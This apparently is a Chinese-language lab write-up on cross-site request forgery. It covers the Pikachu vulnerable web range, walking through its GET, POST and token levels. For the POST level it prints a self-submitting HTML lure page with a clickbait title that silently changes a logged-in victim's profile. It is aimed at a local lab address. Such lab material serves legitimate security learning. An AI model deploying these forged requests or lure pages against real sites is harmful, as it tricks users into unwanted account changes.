简介:

关于pikachu:

Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。本人环境为VMware 15.5+phpstudy2016.

靶场链接(github):https://github.com/zhuifengshaonianhanlu/pikachu

概述:

CSRF(Cross-site request forgery),跨站请求伪造,也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

基本原理:

下图简单阐述了CSRF攻击的原理:

可以看出,完成一次CSRF攻击需要以下几个条件:

​ 1)用户C需要登录访问信任站点A,并且产生cookie;

​ 2)C在登录A的状态下访问B提供的诱导网站。

因此,对于CSRF的防范也可以从这两个方面入手。

实验过程:

下图为实验过程中使用的测试用登录账号,根据md5反查可以得到所有账号的密码均为123456.

CSRF(GET)

登录用户allen,可以看到其住址为nba 76.

我们现在根据提示修改信息,尝试将住址修改为test,同时使用bp抓包。可以看到在bp中,修改信息以get的方式呈现出来。

此时将请求中的add值改为hack,并且引导用户点击该url,那么该用户的add值将会被对应修改。

CSRF(POST)

根据题目,这一关我们无法使用URL伪造请求,但是抓包仍然会让我们获得很多有用的信息。

步骤同上,在修改信息时抓包。

以上为我们构造表单时需要的信息,现在构造表单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head lang="en">
<title>这个妹子图怎么打不开了?</title>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://192.168.40.128/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<!--192.168.40.128为本人搭建pikachu环境的地址,使用时需要修改-->
<input type="text" name="sex" value="boy"><br>
<input type="hidden" name="phonenum" value="114514"><br>
<input type="hidden" name="add" value="cn"><br>
<input type="hidden" name="email" value="allen@pikachu.com"><br>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>

</html>

诱导管理员(即当前登录allen账号的浏览器)点击改网页,再次回到个人会员中心时会发现住址栏已被改为”cn“

CSRF(Token)

抓包后,发现get请求中多了Token字段

经过多次尝试,比较每次发送的数据,发现该值为后端生成的随机数。因此无法伪造URL。